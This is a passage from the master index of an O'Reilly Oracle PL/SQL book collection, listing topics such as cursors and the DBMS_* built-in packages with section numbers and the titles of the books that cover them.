correlation identifiers: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
dequeuing and: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
example: 5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
wildcarding: 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
correlation variables: 18.4.2.2. REFs, Oracle PL/SQL Programming
countBy program, ndsutil.pkg file: 4.7. NDS Utility Package, Guide to Oracle8i Features
counted loops: (see numeric FOR loops)
counter, PLVcmt: (see PLVcmt package)
counter, commit: 5.7.4. Managing the commit counter, Advanced Oracle PL/SQL Programming with Packages
counting substring occurrences: 11.2.4. Counting Substring Occurrences in Strings, Oracle PL/SQL Programming
cover packages: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
covering encapsulation: 1.3.5. Encapsulating Access to the Built-in Packages, Oracle Built-in Packages
create-or-replace syntax: 16.3.9. Including CREATE OR REPLACE, Advanced Oracle PL/SQL Programming with Packages
create_file procedure: 6.2.7.2. Creating a file, Oracle Built-in Packages
create_msg_form procedure, FORUM package
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
create_priority_queue procedure: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
create_queue procedure: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
create_user_form, FORUM_USERS package
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
creating
files: 13.3. Creating and Checking Existence of Files, Advanced Oracle PL/SQL Programming with Packages
lists: 5.18.2. Creating and destroying lists, Advanced Oracle PL/SQL Programming with Packages
messages: 9.2. Storing Message Text, Advanced Oracle PL/SQL Programming with Packages
stacks: 5.24.2. Creating and destroying stacks, Advanced Oracle PL/SQL Programming with Packages
creativity: 4.1.1. The Benefits of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
crefile.sp : 6.2.7.2. Creating a file, Oracle Built-in Packages
creind.sp : 2.1. Examples of Dynamic SQL, Oracle Built-in Packages
cretemplob.sql file: 7.5.2.4. Example, Guide to Oracle8i Features
cur%FOUND cursor attribute: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
cur%ISOPEN cursor attribute: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
cur%NOTFOUND cursor attribute: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
cur%ROWCOUNT cursor attribute: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
curdecl procedure
5.13.10. Miscellaneous code generators, Advanced Oracle PL/SQL Programming with Packages
16.2.6. Generating a Cursor Declaration, Advanced Oracle PL/SQL Programming with Packages
curfail procedure: 5.27.6. Calibration and timing scripts, Advanced Oracle PL/SQL Programming with Packages
currency format (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
current transaction, registering: 7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure, Oracle Built-in Packages
current_choice function: 5.7.8.2. Overriding with a recipient list, Oracle Built-in Packages
current_forum_list procedure, FORUM package
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
current_name function: 12.1.3.1. The segspace package, Oracle Built-in Packages
current_row function: 7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
current_schema function: 12.1.3.1. The segspace package, Oracle Built-in Packages
current_type function: 12.1.3.1. The segspace package, Oracle Built-in Packages
currmod function
5.28.6. Tracing PL/SQL code execution, Advanced Oracle PL/SQL Programming with Packages
21.2.4.3. Current module, Advanced Oracle PL/SQL Programming with Packages
currname function
5.20.4. Accessing the current object, Advanced Oracle PL/SQL Programming with Packages
11.3.1. Setting Individual Elements of Current Object, Advanced Oracle PL/SQL Programming with Packages
currschema function
5.20.4. Accessing the current object, Advanced Oracle PL/SQL Programming with Packages
11.3.1. Setting Individual Elements of Current Object, Advanced Oracle PL/SQL Programming with Packages
currtype function
5.20.4. Accessing the current object, Advanced Oracle PL/SQL Programming with Packages
11.3.1. Setting Individual Elements of Current Object, Advanced Oracle PL/SQL Programming with Packages
cursor FOR loops: 7.4. The Cursor FOR Loop, Oracle PL/SQL Programming
formatting: 3.3.2. Formatting Loops, Oracle PL/SQL Programming
premature termination of: 7.7.2.1. Premature FOR loop termination, Oracle PL/SQL Programming
records in: 7.4.2. The Cursor FOR Loop Record, Oracle PL/SQL Programming
scope of: 7.6.2.1. Scope in FOR loops, Oracle PL/SQL Programming
cursor attributes: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
cursor variables
aliases for: 6.12.6.3. Cursor variable aliases, Oracle PL/SQL Programming
as arguments: 6.12.7. Passing Cursor Variables as Arguments, Oracle PL/SQL Programming
attributes of: 6.12.2. Similarities to Static Cursors, Oracle PL/SQL Programming
dynamic SQL and: 2.4.1. Some Restrictions, Oracle Built-in Packages
scope of: 6.12.6.4. Scope of cursor object, Oracle PL/SQL Programming
cursor_variable, OPEN FOR statement: 4.2.2. The OPEN FOR Statement, Guide to Oracle8i Features
cursors
A.1.4. Cursors, Advanced Oracle PL/SQL Programming with Packages
A.2.4. Cursors, Advanced Oracle PL/SQL Programming with Packages
1.3.4. Object Persistence, Advanced Oracle PL/SQL Programming with Packages
1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
6.2. Cursors in PL/SQL, Oracle PL/SQL Programming
6.2.5. Cursors, Oracle Web Applications
FOR loop
11.7. A Programmatic Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
16.2.8. Generating a Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
1.6.4. The cursor FOR loop, Oracle PL/SQL Programming
1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
LOBs and: 8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
PLVobj package (obj_cur)
5.20.5. Interfacing with the PLVobj cursor, Advanced Oracle PL/SQL Programming with Packages
11.2.1. Cursor Into ALL_OBJECTS, Advanced Oracle PL/SQL Programming with Packages
11.4.1. Opening and Closing the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
RETURN statement: 6.4.4. The Cursor RETURN Clause, Oracle PL/SQL Programming
SELECT FOR UPDATE statement: 6.11. SELECT FOR UPDATE in Cursors, Oracle PL/SQL Programming
attributes of: 6.9. Cursor Attributes, Oracle PL/SQL Programming
%FOUND: 6.9.1. The %FOUND Attribute, Oracle PL/SQL Programming
%ISOPEN
6.5. Opening Cursors, Oracle PL/SQL Programming
6.9.4. The %ISOPEN Attribute, Oracle PL/SQL Programming
%NOTFOUND
6.6.2. Fetching Past the Last Row, Oracle PL/SQL Programming
6.9.2. The %NOTFOUND Attribute, Oracle PL/SQL Programming
%ROWCOUNT: 6.9.3. The %ROWCOUNT Attribute, Oracle PL/SQL Programming
for cursor variables: 6.12.2. Similarities to Static Cursors, Oracle PL/SQL Programming
binding objects to: 11.5. Binding Objects to a Dynamic Cursor, Advanced Oracle PL/SQL Programming with Packages
checking status
2.3.10. Checking Cursor Status, Oracle Built-in Packages
2.3.2.2. The DBMS_SQL.IS_OPEN function, Oracle Built-in Packages
closing
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
2.3.9. Closing the Cursor , Oracle Built-in Packages
2.3.9.1. The DBMS_SQL.CLOSE_CURSOR procedure, Oracle Built-in Packages
2.4.4. Minimizing Memory for Cursors, Oracle Built-in Packages
6.8. Closing Cursors, Oracle PL/SQL Programming
cached cursors: 11.1.4.4. The DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS procedure, Oracle Built-in Packages
column aliases in: 6.7. Column Aliases in Cursors, Oracle PL/SQL Programming
corresponding to records: 9.1.4. Guidelines for Using Records, Oracle PL/SQL Programming
cursor variables
1.4.5.2. Cursor variables, Oracle PL/SQL Programming
6.2.1. Types of Cursors, Oracle PL/SQL Programming
6.12. Cursor Variables, Oracle PL/SQL Programming
restrictions on: 6.12.8. Cursor Variable Restrictions, Oracle PL/SQL Programming
database access based on: 1.4.3.8. Cursor-based access to the database, Oracle PL/SQL Programming
declaring: 6.4. Declaring Cursors, Oracle PL/SQL Programming
in packages: 16.3.2. Declaring Package Cursors, Oracle PL/SQL Programming
defining columns: 2.3.5. Defining Cursor Columns, Oracle Built-in Packages
defining structure of (example): 2.5.4.5. Defining the cursor structure, Oracle Built-in Packages
examples of using: 6.13. Working with Cursors , Oracle PL/SQL Programming
executing associated SQL statement: 2.3.6.1. The DBMS_SQL.EXECUTE function, Oracle Built-in Packages
explicit
1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
6.2.1. Types of Cursors, Oracle PL/SQL Programming
6.3.3. Explicit Cursors, Oracle PL/SQL Programming
FETCH INTO from: 9.5.3. FETCH INTO from an Explicit Cursor, Oracle PL/SQL Programming
fetching from
1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
6.6. Fetching from Cursors, Oracle PL/SQL Programming
generating declaration: 16.2.6. Generating a Cursor Declaration, Advanced Oracle PL/SQL Programming with Packages
group functions in: 6.13.1.1. Inefficiency of group functions in cursors, Oracle PL/SQL Programming
identifier precedence: 6.4.3. Identifier Precedence in a Cursor, Oracle PL/SQL Programming
implicit
1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
6.2.1. Types of Cursors, Oracle PL/SQL Programming
6.3.1. Implicit Cursors, Oracle PL/SQL Programming
6.9. Cursor Attributes, Oracle PL/SQL Programming
6.9.5. Implicit SQL Cursor Attributes, Oracle PL/SQL Programming
SELECT INTO from: 9.5.2. SELECT INTO from an Implicit Cursor, Oracle PL/SQL Programming
naming: 6.4.1. The Cursor Name, Oracle PL/SQL Programming
obtaining structure of (example): 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
opening
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
2.3.2. Opening the Cursor, Oracle Built-in Packages
2.3.2.1. The DBMS_SQL.OPEN_CURSOR function, Oracle Built-in Packages
6.2.2. Cursor Operations, Oracle PL/SQL Programming
6.5. Opening Cursors, Oracle PL/SQL Programming
6.10.2. Opening Cursors with Parameters, Oracle PL/SQL Programming
parameters of: 6.10. Cursor Parameters, Oracle PL/SQL Programming
pinning into shared pool: 12.2.4.2. Pinning cursors into the shared pool, Oracle Built-in Packages
records based on: 9.3. Cursor-Based Records, Oracle PL/SQL Programming
reusing
2.3.2.1. The DBMS_SQL.OPEN_CURSOR function, Oracle Built-in Packages
2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
2.4.4. Minimizing Memory for Cursors, Oracle Built-in Packages
scope of: 15.3.5.4. Cursor scope, Oracle PL/SQL Programming
specifying in packages: 16.3. The Package Specification, Oracle PL/SQL Programming
static: 6.2.1. Types of Cursors, Oracle PL/SQL Programming
storing in packages: 5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
variables in: 6.4.2. PL/SQL Variables in a Cursor, Oracle PL/SQL Programming
cursucc procedure: 5.27.6. Calibration and timing scripts, Advanced Oracle PL/SQL Programming with Packages
custom Java classes, building: 9.3.2. Building a Custom Java Class, Guide to Oracle8i Features
customizing
parsing delimiter: 10.1.2. Customizing the Delimiter Set, Advanced Oracle PL/SQL Programming with Packages
customizing programs for users: 2.8.1.2. Fitting the program to the user , Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: D

Index: D

"do nothing" statement: (see NULL statements)
DAD: (see Database Access Descriptor)
DATABASE_NAME attribute, database-level event
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
DATA_BLOCK_ADDRESS_BLOCK function
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.6. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_BLOCK function, Oracle Built-in Packages
DATA_BLOCK_ADDRESS_FILE function
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.7. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_FILE function, Oracle Built-in Packages
DATE datatype: 12. Date Functions, Oracle PL/SQL Programming
DATETYPE datatype: 7.4.1.3. Representing dates, Oracle Web Applications
DATE_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
DB2 data source: 4.2.3.1. The CHAR datatype, Oracle PL/SQL Programming
DBA_2PC_PENDING view
4.2.2. Advising Oracle About In-Doubt Transactions, Oracle Built-in Packages
4.2.3.2. The DBMS_TRANSACTION.COMMIT_COMMENT procedure, Oracle Built-in Packages
4.2.3.3. The DBMS_TRANSACTION.COMMIT_FORCE procedure, Oracle Built-in Packages
4.2.4.2. The DBMS_TRANSACTION.ROLLBACK_FORCE procedure, Oracle Built-in Packages
4.2.6.1. The DBMS_TRANSACTION.PURGE_MIXED procedure, Oracle Built-in Packages
4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure, Oracle Built-in Packages
DBA_CONTEXT data dictionary view: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
DBA_ERRORS data dictionary view: 9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
DBA_JOBS view
5.6.2.3. The DBA_JOBS view, Oracle Built-in Packages
13.3.2. Viewing Job Information in the Data Dictionary, Oracle Built-in Packages
DBA_JOBS_RUNNING view: 13.3.2. Viewing Job Information in the Data Dictionary, Oracle Built-in Packages
DBA_KEEPSIZES view: 12.2.4.3. The DBA_KEEPSIZES view, Oracle Built-in Packages
DBA_OBJECTS data dictionary view: 9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
DBA_POLICIES data dictionary view: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
DBA_QUEUES view
5.1.8. Data Dictionary Views, Oracle Built-in Packages
5.6.2.2. The DBA_QUEUES view, Oracle Built-in Packages
DBA_QUEUE_TABLES view
5.1.8. Data Dictionary Views, Oracle Built-in Packages
5.6.2.1. The DBA_QUEUE_TABLES view, Oracle Built-in Packages
DBA_REGISTERED_SNAPSHOTS view: 14.1.6. Registering Snapshots, Oracle Built-in Packages
DBA_REPCOLUMN_GROUP view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPCONFLICT view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPGROUPED_COLUMN view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPPARAMETER_COLUMN view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPPRIORITY view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPPRIORITY_GROUP view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPRESOLUTION view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPRESOLUTION_METHOD view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPRESOLUTION_STATISTICS view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_REPRESOL_STATS_CONTROL view: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
DBA_SEGMENTS data dictionary view: 7.5.2.5. Managing temporary LOBs, Guide to Oracle8i Features
DBDOM package: 9.6. PLSXML Utilities and Demos, Oracle Web Applications
DBMS_ TRANSACTION package: 1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
DBMS_ALERT package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
3.2. DBMS_ALERT: Broadcasting Alerts to Users, Oracle Built-in Packages
3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
Oracle Parallel Server and: 3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure, Oracle Built-in Packages
creating: 3.2.1. Getting Started with DBMS_ALERT, Oracle Built-in Packages
examples: 3.2.3. DBMS_ALERT Examples, Oracle Built-in Packages
exceptions: 3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
multiple consumers and: 5.7.8. Working with Multiple Consumers, Oracle Built-in Packages
privileges: 3.2.1. Getting Started with DBMS_ALERT, Oracle Built-in Packages
programs contained in: 3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
transactional behavior: 3.2.3. DBMS_ALERT Examples, Oracle Built-in Packages
DBMS_APPLICATION_INFO package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
7. Defining an Application Profile, Oracle Built-in Packages
7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
V$ elements used: 7.1.2. The V$ Virtual Tables, Oracle Built-in Packages
creating: 7.1. Getting Started with DBMS_APPLICATION_INFO , Oracle Built-in Packages
distinguishing users with: 7.3.8. Session Monitoring and Three-Tier Architectures, Oracle Built-in Packages
encapsulating: 7.3.6. Covering DBMS_APPLICATION_INFO, Oracle Built-in Packages
examples of use: 7.3. DBMS_APPLICATION_INFO Examples , Oracle Built-in Packages
exceptions: 7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
performance analysis with
7. Defining an Application Profile, Oracle Built-in Packages
7.3. DBMS_APPLICATION_INFO Examples , Oracle Built-in Packages
7.3.7. Monitoring Application SQL Resource Consumption, Oracle Built-in Packages
7.3.8. Session Monitoring and Three-Tier Architectures, Oracle Built-in Packages
privileges: 7.1. Getting Started with DBMS_APPLICATION_INFO , Oracle Built-in Packages
programs contained in: 7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
DBMS_AQ package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
5. Oracle Advanced Queuing, Oracle Built-in Packages
5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only), Oracle Built-in Packages
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
7.6. New DBMS_AQ and DBMS_AQADM Features, Guide to Oracle8i Features
C.3. Oracle AQ, the Advanced Queueing Facility, Oracle PL/SQL Programming
creating: 5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
exceptions
5.3.9. Oracle AQ Exceptions, Oracle Built-in Packages
5.4.2.6. Dequeuing with message grouping, Oracle Built-in Packages
privileges: 5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
programs contained in: 5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only), Oracle Built-in Packages
roles: 5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only), Oracle Built-in Packages
DBMS_AQADM package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
5. Oracle Advanced Queuing, Oracle Built-in Packages
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
7.6. New DBMS_AQ and DBMS_AQADM Features, Guide to Oracle8i Features
C.3.2. DBMS_AQADM (PL/SQL 8 Only), Oracle PL/SQL Programming
creating: 5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
exceptions
5.3.9. Oracle AQ Exceptions, Oracle Built-in Packages
5.5.3.1. The DBMS_AQADM.ADD_SUBSCRIBER procedure, Oracle Built-in Packages
privileges: 5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
programs contained in: 5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
roles: 5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
subscribers and: 5.5.3. Managing Queue Subscribers, Oracle Built-in Packages
DBMS_CRYPTO_TOOLKIT package: 10.4. DBMS_RANDOM: Generating Random Numbers (Oracle8 Only), Oracle Built-in Packages
DBMS_DDL package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
10.3. DBMS_DDL: Compiling and Analyzing Objects, Oracle Built-in Packages
10.3.1.1. DBMS_DDL programs, Oracle Built-in Packages
C.4. DBMS_DDL, Oracle PL/SQL Programming
commitment and: 10.3.1. Getting Started with DBMS_DDL, Oracle Built-in Packages
creating: 10.3.1. Getting Started with DBMS_DDL, Oracle Built-in Packages
exceptions: 10.3.1.1. DBMS_DDL programs, Oracle Built-in Packages
privileges: 10.3.1. Getting Started with DBMS_DDL, Oracle Built-in Packages
programs contained in: 10.3.1.1. DBMS_DDL programs, Oracle Built-in Packages
DBMS_DEFER package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
17.3. DBMS_DEFER: Building Deferred Calls, Oracle Built-in Packages
17.3.1.1. DBMS_DEFER programs, Oracle Built-in Packages
creating: 17.3.1. Getting Started with DBMS_DEFER, Oracle Built-in Packages
exceptions: 17.3.1.2. DBMS_DEFER exceptions, Oracle Built-in Packages
privileges: 17.3. DBMS_DEFER: Building Deferred Calls, Oracle Built-in Packages
programs contained in: 17.3.1.1. DBMS_DEFER programs, Oracle Built-in Packages
DBMS_DEFER_QUERY package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
17.4. DBMS_DEFER_QUERY: Performing Diagnostics and Maintenance, Oracle Built-in Packages
17.4.1.1. DBMS_DEFER_QUERY programs, Oracle Built-in Packages
creating: 17.4.1. Getting Started with DBMS_DEFER_QUERY, Oracle Built-in Packages
exceptions: 17.4.1.1. DBMS_DEFER_QUERY programs, Oracle Built-in Packages
privileges: 17.4.1. Getting Started with DBMS_DEFER_QUERY, Oracle Built-in Packages
programs contained in: 17.4.1.1. DBMS_DEFER_QUERY programs, Oracle Built-in Packages
DBMS_DEFER_SYS package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
17.2. DBMS_DEFER_SYS: Managing Deferred Transactions, Oracle Built-in Packages
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
creating: 17.2.1. Getting Started with DBMS_DEFER_SYS, Oracle Built-in Packages
exceptions: 17.2.1.2. DBMS_DEFER_SYS exceptions, Oracle Built-in Packages
privileges: 17.2.1. Getting Started with DBMS_DEFER_SYS, Oracle Built-in Packages
programs contained in: 17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
DBMS_DESCRIBE package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
10.2. DBMS_DESCRIBE: Describing PL/SQL Program Headers, Oracle Built-in Packages
10.2.1.1. DBMS_DESCRIBE program, Oracle Built-in Packages
DESCRIBE_PROCEDURE procedure: 17.2. Current Sources of Information, Advanced Oracle PL/SQL Programming with Packages
creating: 10.2.1. Getting Started with DBMS_DESCRIBE, Oracle Built-in Packages
example
10.2.3. DBMS_DESCRIBE Example, Oracle Built-in Packages
10.2.2. Explaining DBMS_DESCRIBE Results, Oracle Built-in Packages
exceptions: 10.2.1.4. Exceptions, Oracle Built-in Packages
level, meaning of: 10.2.2.2. The DESCRIBE level, Oracle Built-in Packages
overloading: 10.2.2.3. How overloading is handled, Oracle Built-in Packages
pinning in SGA shared pool: 25.2.2.1. Candidates for pinning in the shared pool, Oracle PL/SQL Programming
privileges: 10.2.1. Getting Started with DBMS_DESCRIBE, Oracle Built-in Packages
program name syntax: 10.2.2.1. Specifying a program name, Oracle Built-in Packages
programs contained in: 10.2.1.1. DBMS_DESCRIBE program, Oracle Built-in Packages
programs within packages and: 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
quality assurance using psdesc package: 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
DBMS_IJOB package: 13.3.3. DBMS_IJOB: Managing Other Users' Jobs , Oracle Built-in Packages
DBMS_INDEXING package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_JAVA package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
DBMS_JAVA_TEST package
7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
9.7.5. Using DBMS_JAVA_TEST , Guide to Oracle8i Features
DBMS_JOB package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
13. Job Scheduling in the Database, Oracle Built-in Packages
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
C.5. DBMS_ JOB, Oracle PL/SQL Programming
1.4.5.3. Job scheduling with DBMS_ JOB, Oracle PL/SQL Programming
analyzing table space: 13.4.1. Tracking Space in Tablespaces, Oracle Built-in Packages
creating: 13.1. Getting Started with DBMS_ JOB, Oracle Built-in Packages
exceptions: 13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
privileges: 13.1. Getting Started with DBMS_ JOB, Oracle Built-in Packages
programs contained in: 13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
DBMS_LOB package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
8. Managing Large Objects , Oracle Built-in Packages
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
C.6. DBMS_LOB (PL/SQL8 Only), Oracle PL/SQL Programming
creating: 8.1. Getting Started with DBMS_LOB, Oracle Built-in Packages
examples, introduction to: 8.1.4. About the Examples, Oracle Built-in Packages
exceptions: 8.1.2. DBMS_LOB Exceptions, Oracle Built-in Packages
handling of: 8.1.4. About the Examples, Oracle Built-in Packages
privileges: 8.1. Getting Started with DBMS_LOB, Oracle Built-in Packages
programs contained in: 8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
DBMS_LOCK package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
4.1. DBMS_LOCK: Creating and Managing Resource Locks, Oracle Built-in Packages
4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
C.7. DBMS_LOCK, Oracle PL/SQL Programming
alert signaling and: 3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
creating: 4.1.1. Getting Started with DBMS_LOCK, Oracle Built-in Packages
examples: 4.1.4. DBMS_LOCK Examples, Oracle Built-in Packages
exceptions: 4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
privileges: 4.1.1. Getting Started with DBMS_LOCK, Oracle Built-in Packages
programs contained in: 4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
serializing locks: 4.1. DBMS_LOCK: Creating and Managing Resource Locks, Oracle Built-in Packages
tips on using: 4.1.3. Tips on Using DBMS_LOCK, Oracle Built-in Packages
DBMS_LOG_MNR package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_LOG_MNR_D package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_MAIL package
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
C.8. DBMS_MAIL, Oracle PL/SQL Programming
DBMS_OFFLINE_OG package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
15.4. DBMS_OFFLINE_OG: Performing Site Instantiation, Oracle Built-in Packages
15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
creating: 15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
exceptions: (see specific program names)
privileges: 15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
programs contained in: 15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
DBMS_OFFLINE_SNAPSHOT package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
14.3. DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation, Oracle Built-in Packages
14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs, Oracle Built-in Packages
creating: 14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT, Oracle Built-in Packages
exceptions: 14.3.1.2. DBMS_OFFLINE_SNAPSHOT exceptions, Oracle Built-in Packages
privileges: 14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT, Oracle Built-in Packages
programs contained in: 14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs, Oracle Built-in Packages
DBMS_OUTPUT package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
7.1.2. Displaying Dates, Advanced Oracle PL/SQL Programming with Packages
22.3.2.2. Drawbacks of the usual handlers, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
6.1. DBMS_OUTPUT: Displaying Output, Oracle Built-in Packages
6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
2.4.1. Using Autonomous Transactions from Within SQL, Guide to Oracle8i Features
7.6.4.2. LISTEN: Listening for messages, Guide to Oracle8i Features
C.9. DBMS_OUTPUT, Oracle PL/SQL Programming
10.9.3. Displaying a PL/SQL Table, Oracle PL/SQL Programming
26.5. Quick-and-Dirty Tracing, Oracle PL/SQL Programming
ENABLE procedure: 7.4. Controlling Output from p, Advanced Oracle PL/SQL Programming with Packages
PUT_LINE function: 7. p: A Powerful Substitute for DBMS_OUTPUT, Advanced Oracle PL/SQL Programming with Packages
PUT_LINE package
(see also p package)
